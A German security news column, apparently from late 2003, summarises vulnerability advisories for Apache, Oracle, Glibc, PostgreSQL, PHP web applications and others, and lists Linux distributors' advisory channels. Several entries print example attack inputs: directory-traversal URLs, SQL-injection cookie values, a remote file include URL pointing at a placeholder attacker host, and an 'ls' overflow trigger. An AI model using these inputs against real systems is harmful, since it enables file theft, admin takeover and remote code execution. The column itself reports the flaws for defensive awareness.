InSecurity News

Apache-Module

Im Modul Mod_security von Apache 2 wurde ein Heap Overflow gefunden. Ein lokaler Angreifer kann mit dessen Hilfe Befehle mit Webserver-Rechten ausführen. Die fehlerhafte Funktion ist »sec_filter_out()« in »apache2/mod_security.c«. Sie kopiert Benutzerdaten. Ist der Buffer zu klein, verdoppelt sie dessen Größe – unabhängig vom tatsächlich benötigten Platz. Betroffen sind die Versionen 1.7RC1 bis 1.7.1. [http://www.securitytracker.com/alerts/2003/Oct/1008025.html]

Durch ein Problem in Mod_cgid kann ein entfernter Angreifer CGI-Daten erhalten, die nicht für ihn bestimmt sind. Anfällig dafür sind die Versionen 2.0.47 und älter. [http://www.securitytracker.com/alerts/2003/Oct/1008028.html]

Ein Buffer Overflow wurde im Modul Mod_alias gefunden. Das Advisory enthält leider keine Informationen dazu, wie und von wem sich die Lücke ausnutzen lässt. Betroffen sind die Versionen 2.0.47 und älter. [http://www.securitytracker.com/alerts/2003/Oct/1008029.html]

Ein weiterer Buffer Overflow findet sich in Mod_rewrite, Version 2.0.47 und älter. [http://www.securitytracker.com/alerts/2003/Oct/1008030.html] ■

Oracle

Aufgrund eines Buffer Overflows in der Oracle-Datenbank kann ein lokaler Angreifer Befehle mit den Rechten des Users »oracle« ausführen. Die Programme »oracle« und »oracle0« enthalten diese Sicherheitslücke, beide sind mit Set-UID-Rechten installiert. Der Angreifer muss einen überlangen Kommandozeilenparameter verwenden. Ein fertiger Exploit veranschaulicht die Sicherheitslücke: [http://packetstormsecurity.nl/0310-exploits/oracle_ownage.c]. Anfällig für das Problem ist die Oracle-Version 9.2.0.4.0. [http://www.securitytracker.com/alerts/2003/Oct/1007956.html]

Im Oracle Application Server treten Fehler beim Verarbeiten von URLs auf, ein entfernter Angreifer kann auf diesem Weg eigenen SQL-Code einschleusen (SQL-Injection-Angriff). [http://www.securitytracker.com/alerts/2003/Nov/1008084.html]

In Oracle Files (einer Komponente der Oracle Collaboration Suite) sind die Default-Cache-Regeln fehlerhaft, ein entfernter Angreifer kann auf eigentlich nicht zugängliche Dateien zugreifen. Betroffen davon sind die Versionen 9.0.3.1, 9.0.3.2.0 und 9.0.3.3. [http://www.securitytracker.com/alerts/2003/Oct/1008024.html] ■

Tabelle 1: Sicherheit bei den großen Distributionen

Distributor	Quellen zur Sicherheit	Bemerkungen
Debian	Infos: [http://www.debian.org/security/] Liste: [http://lists.debian.org/debian-security-announce/] Betreff: DSA-... [1]	Bei Debian sind die aktuellen Security Advisories bereits auf der Homepage zu finden. Die Meldungen sind als HTML-Seiten mit Links zu den Patches realisiert. Die Sicherheitsseite enthält auch Hinweise zur Mailingliste.
Gentoo	Forum: [http://forums.gentoo.org/] Liste: [http://www.gentoo.org/main/en/lists.xml] (gentoo-announce und gentoo-security) Betreff: GLSA: ... [1]	Gentoo bietet leider keine Webseite zu Sicherheitsaktualisierungen und anderen Security-Informationen. Als Ersatz dient das Forum. In dessen Rubrik »News and Announcements« sind dann auch die Advisories zu finden.
Mandrake	Infos: [http://www.mandrakesecure.net] Liste: [http://www.mandrakesecure.net/en/mlist.php] (announce) Betreff: MDKSA-... [1]	Mandrakesoft betreibt eine eigene Website zu Sicherheitsthemen. Sie enthält unter anderem Security Advisories und Hinweise zu den Mailinglisten. Die Advisories sind zwar HTML-Seiten, die Patches darin aber nicht verlinkt.
Red Hat	Infos: [http://www.redhat.com/errata/] Liste: [http://www.redhat.com/mailing-lists/] (redhat-watch-list) Betreff: [RHSA-... [1]	Red Hat sortiert die Security Advisories bei den so genannten Errata ein: Zu jeder Red-Hat-Linux-Version sind dort alle bekannt gewordenen Fehler beschrieben. Die Security Advisories liegen als HTML-Seite vor, mit Links zu den Patches.
Slackware	Infos: [http://www.slackware.com/security/] Liste: [http://www.slackware.com/lists/] (slackware-security) Betreff: [slackware-security] ... [1]	Die Startseite verlinkt direkt zum Archiv der Security-Mailingliste. Darüber hinaus sind auf der Homepage jedoch keine Informationen zur Sicherheit von Slackware zu finden.
Suse	Infos: [http://www.suse.de/security/] Patches: [http://www.suse.de/de/support/download/updates/] Liste: suse-security-announce Betreff: [suse-security-announce] ... [1]	Die Sicherheitsseite ist nach einer Änderung der Homepage nicht mehr direkt verlinkt. Sie enthält Infos zur Mailingliste sowie die Advisories. Die Sicherheitspatches zu den einzelnen Suse-Linux-Versionen sind in der allgemeinen Updates-Seite rot markiert und mit einer kurzen Beschreibung der geschlossenen Lücke versehen.

[1] Alle Distributoren kennzeichnen ihre Security-Mails im Betreff.

Glibc

Ein Buffer Overflow in der GNU-C-Bibliothek (Glibc) erlaubt es einem lokalen Benutzer, Befehle auf dem anfälligen System auszuführen. Dabei erhält er die Rechte der Anwendung, die die Glibc benutzt – eventuell also Root. Der Overflow befindet sich in der »getgrouplist()«-Funktion (in »libc/grp/initgroups.c«). Sie kopiert unter Umständen mehr Gruppen, als die Variable »ngroup« vorschreibt.

Dieses Szenario kann auftreten, wenn ein Administrator einen Anwender in sehr viele Gruppen setzt und die entsprechende Anwendung dies nicht bedenkt.

Von dieser Lücke ist die Glibc-Version 2.3.2 betroffen. [http://www.securitytracker.com/alerts/2003/Oct/1007940.html] ■

DB-Mail

Durch einen Eingabekontrollfehler in DB-Mail kann ein entfernter Angreifer SQL-Befehle in die zugrunde liegende Datenbank einschleusen (SQL Injection). Der Fehler tritt auf, wenn DB-Mail Benutzernamen und Passwörter verarbeitet.

Die Schwachstelle tritt schon während der Authentifizierung auf. Ein Angreifer benötigt daher keinen gültigen Account, um die Attacke durchzuführen. Betroffen sind Version 1.1 und ältere. [http://www.securityfocus.com/bid/8829]

Ein weiterer Eingabekontrollfehler versetzt einen entfernten Angreifer in die Lage, eigene Befehle mit »dbmail«-Rechten auszuführen. Die Sicherheitslücke tritt im File »pipe.c« auf, wenn die Applikation das »From«-Feld einer E-Mail verarbeitet. Der Fehler kann aber nur dann ausgenutzt werden, wenn das System für Auto-Replies konfiguriert ist.

Betroffen sind die Versionen 1.2 sowie ältere. [http://www.securitytracker.com/alerts/2003/Nov/1008077.html] ■

Byte-Hoard

Ein Problem in Byte-Hoard führt dazu, dass ein entfernter Angreifer Dateien des Systems mit Webserver-Rechten lesen kann. Bei der Sicherheitslücke handelt es sich um eine typische Double-Dot-Schwachstelle.

Über das Byte-Hoard-Online-Speichersystem laden die User ihre Dateien auf einen Server. Den Ort der Files kann ein Angreifer aber beliebig festlegen, wenn er per »../« aus dem vorgesehenen Verzeichnis ausbricht. Um Files außerhalb des Webserver-Roots zu lesen, genügt die URL: »http://*Zielhost*/bytehoard/index.php?infolder=../../../../«.

Anfällig ist die Version 0.70. [http://www.securitytracker.com/alerts/2003/Oct/1007959.html] ■

PostgreSQL

Zwei Buffer Overflows in der relationalen Datenbank PostgreSQL erlauben es einem entfernten Angreifer, Befehle mit PostgreSQL-Rechten auszuführen. Der Fehler verbirgt sich in der »to_ascii()«-Funktion. Sie konvertiert Zeichen von einer Darstellungsform mit mehreren Bytes pro Zeichen in Ascii-Strings (je ein Byte pro Zeichen).

Der Angreifer muss die »to_ascii()«-Funktion nur mit einem Übermaß an Daten füttern, dann läuft ein Buffer im Heap-Speicher über seine Grenzen. Das stört die Speicherverwaltung des Heap und sie überschreibt weitere Buffer, die im angrenzenden Speicher abgelegt sind.

Andere Konvertierungsfunktionen für abstrakte Datentypen (ADT) sind ebenfalls betroffen: »to_ascii_*XXX*()«. Anfällig für diese Sicherheitslücke sind PostgreSQL 7.2 und 7.3. [http://www.securityfocus.com/bid/8741] ■

BEA Tuxedo und Weblogic

Die BEA-Administrationskonsole Tuxedo prüft den Inhalt der Startparameter einiger CGI-Skripte nicht. Ein entfernter Angreifer kann herausfinden, ob eine bestimmte Datei auf dem System vorhanden ist. Weiterhin sind DoS-Angriffe und Cross-Site-Skripting-Attacken möglich.

Betroffen sind BEA Tuxedo 6.3 bis 6.5, 7.1, 8.0 und 8.1. [http://www.securitytracker.com/alerts/2003/Oct/1008040.html]

Dieselbe Lücke wirkt sich auch auf BEA Weblogic Enterprise in den Versionen 5.1, 5.0.1 und 4.2 aus. [http://www.securitytracker.com/alerts/2003/Oct/1008041.html] ■

Bugzilla

In Bugzilla wurden mehrere Sicherheitslücken entdeckt. Zunächst kann ein entfernter angemeldeter Angreifer mit »editproducts«- oder »editkeywords«-Rechten SQL-Injection-Attacken ausführen. Eine Schwachstelle im Code zur Rechteverwaltung führt dazu, dass ein entfernter Angreifer höhere Gruppenrechte erlangen kann.

Für weitere Details und eine Liste der betroffenen Versionen siehe: [http://www.securityfocus.com/bid/8953] ■

Neue Releases

X-Probe 2: Fingerprinting-Programm, das Betriebssysteme durch den Einsatz neuer Techniken erkennt. [http://www.sys-security.com/archive/tools/xprobe2/xprobe2-0.2.tar.gz]
Zur Technologie von X-Probe 2: [http://www.sys-security.com/archive/papers/Xprobe2.pdf]

BT-Scanner: Bluetooth-Verbindungen sind nach WLAN-Funknetzen das neueste Angriffsziel für Attacken. BT-Scanner versucht möglichst viele Informationen über Bluetooth-Verbindungen in Erfahrung zu bringen. [http://www.pentest.co.uk/src/btscanner-1.0.tar.gz]

»ls«

Im »ls«-Programm wurde ein Integer-Überlauf entdeckt. Er befindet sich in der Funktion »init_column_info()« und tritt auf, wenn »ls« mit übergroßen Parametern aufgerufen wird, beispielsweise »ls -w 1073741828 -C«.

Da einige Server-Anwendungen (zum Beispiel der WU-FTP-Daemon) das externe »ls«-Kommando aufrufen, können auch entfernte Angreifer Nutzen aus dieser Sicherheitslücke ziehen und eine Denial-of-Service-Attacke erfolgreich durchführen. [http://www.securitytracker.com/alerts/2003/Oct/1007981.html] ■

Sylpheed-Claws

Im E-Mail-Client Sylpheed-Claws verbirgt sich ein Format-String-Fehler. Hat ein entfernter Angreifer Kontrolle über den SMTP-Server, der von Sylpheed verwendet wird, kann er beliebige Befehle auf dem System des Clients ausführen. Er erlangt damit die Rechte des Client-Anwenders, also möglicherweise Root-Rechte. Die Sicherheitslücke tritt in der Funktion »alertpanel_error_log()« auf (in der Source-Datei »send_message.c«).

Betroffen sind die Version 0.9.4 bis 0.9.6. [http://www.securityfocus.com/bid/8877] ■

Tabelle 2: Linux-Advisories vom 20.10.03 bis 17.11.03

Zusammenfassungen, Diskussionen und die vollständigen Advisories sind unter [http://www.linux-community.de/story?storyid=*ID*] zu finden.

ID	Linux	Beschreibung
10173	Mandrake	Schwachstelle in Fetchmail
10245	Debian	Race Condition bei verschiedenen Skripten
10350	Mandrake	Update zur DoS-Schwachstelle im Apache 2
10388	Debian	Schwachstellen in Thttpd
10418	Suse	Schwachstellen in Thttpd
10495	Mandrake	Schwachstellen im Apache-Webserver
10502	Mandrake	Schwachstelle in PostgreSQL
10506	Red Hat	Schwachstelle im Fileutils/Coreutils-Paket
10511	Red Hat	Schwachstelle in Cups
10528	Debian	Schwachstelle im CDE: »libDTHelp«
10549	Generisch	Schwachstelle in OpenSSL
10550	Mandrake	Schwachstelle in Cups
10580	Debian	Schwachstellen in PostgreSQL
10631	Suse	Schwachstelle in Hylafax
10632	Debian	Schwachstelle in EPIC4
10633	Debian	Buffer Overflow im Spiel Conquest
10634	Debian	Schwachstellen in Ethereal
10635	Debian	Schwachstelle in UCD-SNMP
10646	Red Hat	Schwachstelle in Ethereal
10659	Debian	Schwachstellen in GWXlibs-Komponenten: OpenSSL und Zlib
10662	Debian	Schwachstellen im Apache
10663	Debian	Schwachstellen im Perl-Modul CGI.pm
10664	Mandrake	Schwachstelle in Hylafax
10671	Debian	Buffer Overflow in Omega-rpg
10674	Debian	Schwachstellen im Spiel Omega-rpg
10693	Debian	Schwachstelle im Procfs
10694	Red Hat	Zwei Schwachstellen in Glibc
10698	Mandrake	Schwachstellen in Fileutils/Coreutils
10709	Red Hat	Schwachstelle in PostgreSQL
10716	Red Hat	Zwei Schwachstellen in Zebra
10755	Debian	Schwachstelle in Hylafax
10757	Debian	Schwachstelle in Minimalist

In Zusammenarbeit mit dem DFN-CERT

Opera

Durch eine Buffer-Overflow-Schwachstelle im Opera-Webbrowser kann ein entfernter Angreifer Befehle mit den Rechten des Opera-Anwenders ausführen. Der Puffer-Überlauf tritt ein, wenn Opera versucht bestimmte »HREF«-Tags zu verarbeiten. Er zeigt sich zum Beispiel in folgendem Tag: »«.

Der Angreifer muss sein Opfer dazu bringen, eine passende HTML-Seite mit Opera zu betrachten. Der Fehler zeigt sich manchmal unmittelbar, es ist aber auch möglich, dass er erst auftritt, wenn der Anwender den Browser beendet.

Betroffen sind die Versionen 7.11 und 7.20. [http://www.atstake.com/research/advisories/2003/a102003-1.txt] ■

Apache Cocoon

Im Beispielskript »view-source« aus dem Apache-Cocoon-Paket befindet sich eine Sicherheitslücke. Sie erlaubt es entfernten Angreifern, sich Dateien mit Webserver-Rechten anzusehen. Es handelt sich um eine Double-Dot-Schwachstelle: Der Angreifer verlässt mit »../« in seiner URL das Webverzeichnis. Die URL könnte so aussehen: »http://*Zielhost*:8888/samples/view-source?filename=../../../*Datei*«.

Betroffen sind die Versionen 2.1 und 2.2. [http://www.securitytracker.com/alerts/2003/Oct/1007993.html]

Ein weiteres Problem in Apache Cocoon führt dazu, dass entfernte Angreifer beliebigen Java-Code auf dem Server ausführen können. Der Programmfehler tritt beim Verarbeiten von JXForms und XMLForm auf.

Betroffen ist die Version 2.1. [http://www.securitytracker.com/alerts/2003/Oct/1007995.html] ■

Musicqueue

In der Musicqueue-Anwendung wurden gleich mehrere Schwachstellen entdeckt. In der »getConf()«-Funktion tritt ein Overflow auf, wenn sie die »HTTP_ACCEPT_LANGUAGE«-Variable verarbeitet. Ein lokaler Angreifer kann diese Sicherheitslücke ausnutzen, um Befehle mit den Musicqueue-Rechten auszuführen. Weitere Overflow-Probleme können zum Absturz der Anwendung führen. Weiterhin wurde ein Symlink-Fehler gefunden. Dieser tritt auf, wenn Musicqueue abstürzt und die »/tmp/musicqueue.crash«-Datei erzeugt. Dabei achtet das Programm nicht darauf, ob diese Datei schon existiert.

Betroffen sind die Versionen 1.2.0 und älter. [http://www.securitytracker.com/alerts/2003/Oct/1008014.html] ■

SANE

In SANE (Scanner Access Now Easy) wurden mehrere Schwachstellen gefunden. Sie betreffen Systeme, auf denen der SANE-Daemon »saned« aktiv ist. Die erste Sicherheitslücke findet sich im Authentifizierungsprozess des Daemon. Er führt bei der Annahme von »SANE_NET_INIT«-RPC-Nachrichten keinen IP-Adresscheck durch. Dadurch können auch Rechner ohne IP-Eintrag in »saned.conf« Zugriff erlangen. Im Zusammenhang mit RPC-Nachrichten wurde auch gemeldet, dass »saned« die RPC-Nummern nicht überprüft. Im Handling von Netzwerkverbindungen finden sich Fehler, durch die ein entfernter Angreifer Denial-of-Service-Attacken gegen den Server durchführen kann.
Anfällig für diese Schwachstellen sind die Versionen 1.0.7 und ältere. [http://www.securitytracker.com/alerts/2003/Oct/1007984.html] ■

E-Mule

Ein Fehler im integrierten Web-Controlpanel von E-Mule führt dazu, dass ein entfernter Angreifer die Anwendung zum Absturz bringen kann. Das Problem tritt auf, wenn E-Mule das Passwort des Web-Users verarbeitet. Sendet der Angreifer sehr viele Zeichen, kann es zum Crash kommen.
Während das Web-Interface die eingegebenen Daten unverändert an die Applikation weiterreicht, begrenzt das GUI-basierte Passwort-Dialogfenster den String auf zwölf Zeichen. Die Anwendung erwartet offenbar, dass das Passwort diese Länge nicht überschreitet.
Ein Exploit findet sich unter der angegebenen URL. Betroffen ist die Version 0.29c. [http://www.securityfocus.com/bid/8854] ■

Goldlink

Ein entfernter Angreifer kann in Goldlink zu Administrator-Rechten kommen. Das Programm kontrolliert im Skript »admin.php« Benutzereingaben nicht korrekt, die sich in den Variablen »vadmin_login« und »vadmin_pass« befinden. Ein entfernter Angreifer kann über eine gewöhnliche SQL-Injection-Attacke unter anderem das Administrator-Passwort aus der Datenbank lesen. Beispielsweise könnte er in zwei Cookies »vadmin_login« auf »' OR Login LIKE '%« setzen sowie »vadmin_pass« auf den Wert »' OR Password LIKE '%«. Goldlink verleiht ihm daraufhin ohne weitere Umschweife Admin-Rechte.
Anfällig für dieses Problem ist Version 3.0. [http://www.securitytracker.com/alerts/2003/Oct/1007964.html] ■

Libnids

Durch einen Fehler in der Libnids-Bibliothek kann ein entfernter Angreifer Befehle einschleusen. Die Rechte, die er dabei erhält, hängen von der Anwendung ab, die Libnids verwendet.
Der Programmierfehler findet sich in dem Programmteil, der TCP-Daten aus einzelnen Paketen und Fragmenten wieder zusammensetzt. Gerade Netzwerk-basierte Intrusion-Detection-Systeme (NIDS) benötigen diese Funktion, um die Signaturen bekannter Angriffe auch zuverlässig im Datenstrom zu finden.
Ein NIDS belauscht aber den Netzverkehr nur passiv, daher kommt der TCP/IP-Stack des Hosts dafür nicht in Betracht. Libnids emuliert das Verhalten des Stacks von Linux 2.0; insbesondere beim Zusammensetzen von ungewöhnlichen (etwa überlappenden) IP-Fragmenten und TCP-Segmenten unterscheiden sich die Protokollstacks verschiedener Systeme.
Programme (beispielsweise Dsniff), die von Libnids Gebrauch machen, sind durch den Fehler verwundbar. Ein Angreifer kann den Overflow durch passend manipulierte TCP-Pakete hervorrufen.
Anfällig für diesen Fehler sind die Versionen 1.17 und ältere. [http://www.securityfocus.com/bid/8905] ■

IRCD

Ein Buffer-Overflow-Fehler in dem IRC-Server von IRCnet führt dazu, dass ein Angreifer den Daemon zum Absturz bringen kann. Das Problem tritt auf, wenn IRCD einen »JOIN«-Befehl mit ungewöhnlichen Argumenten verarbeitet (»channel.c«).
Anfällig für diese Lücke sind die IRCD-Versionen 2.10.x bis 2.10.3p3. [http://www.securityfocus.com/bid/8817]
Die Frage, ob es sich dabei um einen lokale oder eine auch aus der Ferne nutzbare Schwachstelle handelt, war zunächst unklar. Während das Original-Advisory von einer lokalen Lücke spricht, erklärte Florian Weimer in einem Bugtraq-Posting, dass er den Bug als „remote vulnerability“ einstufen würde. [http://www.securityfocus.com/archive/1/341650] ■

K-Popup

Eine Schwachstelle in K-Popup führt dazu, dass ein lokaler Angreifer Befehle auch mit Root-Rechten ausführen kann. Die Sicherheitslücke tritt wegen eines unsicheren »system()«-Aufrufs (im File »misc.cpp«) und einiger Format-String-Fehler auf.
Mit einem »system()«-Aufruf startet K-Popup ohne jegliche Pfadangabe die Anweisung »killall -USR1 kpopup«. Ein lokaler Angreifer kann dies nutzen und einfach sein eigenes »killall«-Programm auf dem System ablegen und das Verzeichnis in seine »PATH«-Umgebungsvariable aufnehmen.
Betroffen von diesem Problem ist die Version 0.9.1. [http://www.securitytracker.com/alerts/2003/Oct/1008018.html] ■

My-PHP-Calendar

Ein Datei-Include-Fehler in der PHP-Anwendung My-PHP-Calendar führt dazu, dass ein entfernter Angreifer Befehle mit Webserver-Rechten ausführen kann. Betroffen sind die drei PHP-Skripte »admin.php«, »contacts.php« und »convert-data.php«.
Die fehlerhaften Skripte verlassen sich beim Einbinden einiger Include-Dateien (hier »vars.inc« und »prefs.inc«) auf die Pfadangabe in der »cal_dir«-Variablen. Ein entfernter Angreifer kann den Inhalt dieser Variablen aber leicht in der URL manipulieren: »http://*Zielhost*/admin.php?cal_dir=http://*Angreiferhost*/«. Der Zielhost (dort ist My-PHP-Calendar installiert) lädt die Include-Dateien vom Angreiferhost (dort muss auch ein Webserver laufen), bindet sie ins PHP-Skript ein und führt darauf ihren Inhalt aus. Anfällig ist Version 10192000 Build 1 Beta. [http://www.securitytracker.com/alerts/2003/Oct/1007919.html]
(M. Vogelsberger/fil) ■

Kurzmeldungen

Track the Click 1.0: Fehlerhafte Eingabefilterung der »agent«- und »referer«-Variablen im »click.cgi«-Skript, Cross-Site-Skripting möglich. [http://www.securitytracker.com/alerts/2003/Oct/1007918.html]

Vivisimo Clustering Engine: Eingabekontrollfehler in »search«-Skript (»query«-Variable), Cross-Site-Skripting möglich. [http://www.securityfocus.com/bid/8862]

VPOP3 2.0.0e, 2.0.0f: Eingabekontrollfehler in »index.html«, Cross-Site-Skripting möglich. [http://www.securitytracker.com/alerts/2003/Oct/1007961.html]

MySQL vor 3.23.55: Speichermanagementfehler in der Funktion »mysql_change_user()«, entfernter angemeldeter Angreifer kann MySQL zum Absturz bringen. [http://www.securitytracker.com/alerts/2003/Oct/1007979.html]

Dansie Shopping Cart: Zu ausführliche Meldung, entfernter Angreifer erfährt Installationspfad. [http://www.securityfocus.com/bid/8860]

Censor-Net: Eingabekontrollfehler im »dansguardian.pl«-Skript, Cross-Site-Skripting möglich. [http://www.securitytracker.com/alerts/2003/Oct/1007988.html]

X-CD-Roast vor 0.98 alpha 15: Symlink-Schwachstelle, lokaler Angreifer kann Dateien mit den Rechten des X-CD-Roast-Anwenders überschreiben. [http://www.securityfocus.com/bid/8983]

Thttpd 2.21 bis 2.23b1 beziehungsweise vor 2.24: Buffer Overflow in der »defang()«-Funktion (»libhttpd.c«) sowie Double-Dot-Fehler, entfernter Angreifer kann Befehle mit Webserver-Rechten ausführen oder beliebige Files lesen. [http://www.securitytracker.com/alerts/2003/Oct/1008007.html] und [.../1008031.html]

Les Visiteurs: Datei-Include-Fehler im Skript »include/config.inc.php«, entfernter Angreifer kann Befehle mit Webserver-Rechten ausführen. [http://www.securityfocus.com/bid/8902]

SH-Httpd 0.3, 0.4: Fehler beim Verarbeiten von »GET«-Anfragen, entfernter Angreifer kann Dateien mit Webserver-Rechten lesen. [http://www.securityfocus.com/bid/8897]

Tritanium 1.2.3: Fehler bei der Zugriffsrechteverwaltung, entfernter Angreifer kann unberechtigt Nachrichten lesen. [http://www.securityfocus.com/bid/8944]

Cups vor 1.1.19: Fehler im Daemon, entfernter Angreifer kann Cups in Endlosschleife bringen. [http://www.securityfocus.com/bid/8952]

Gdm vor 2.4.4.4 und vor 2.4.1.7: Fehler in »gdm.c« und »gdm-net.c«, lokaler Angreifer kann Denial-of-Service-Attacken durchführen. [http://www.securityfocus.com/bid/8846]

Fetchmail 6.2.4: Denial-of-Service-Schwachstelle, entfernter Angreifer kann das Fetchmail-Programm zum Absturz bringen. [http://www.securityfocus.com/bid/8843]

CP-Commerce 0.05f: Datei-Include-Fehler in »_functions.php«, entfernter Angreifer kann Befehle mit Webserver-Rechten ausführen. [http://www.securityfocus.com/bid/8851]

My Classifieds 2.11: Eingabekontrollfehler beim Handling der »email«-Variablen, entfernter Angreifer kann SQL-Injection durchführen. [http://www.securityfocus.com/bid/8863]

Advanced Poll 2.0.2: Datei-Include-Fehler in »common.inc.php«, entfernter Angreifer kann Befehle mit Webserver-Rechten ausführen. [http://www.securitytracker.com/alerts/2003/Oct/1008005.html]

Ethereal 0.9.15: Fehler beim Verarbeiten der Protokolle GTP, ISAKMP, MEGACO und SOCKS, entfernter Angreifer kann Befehle mit den Ethereal-Rechten ausführen. [http://www.securityfocus.com/bid/8951]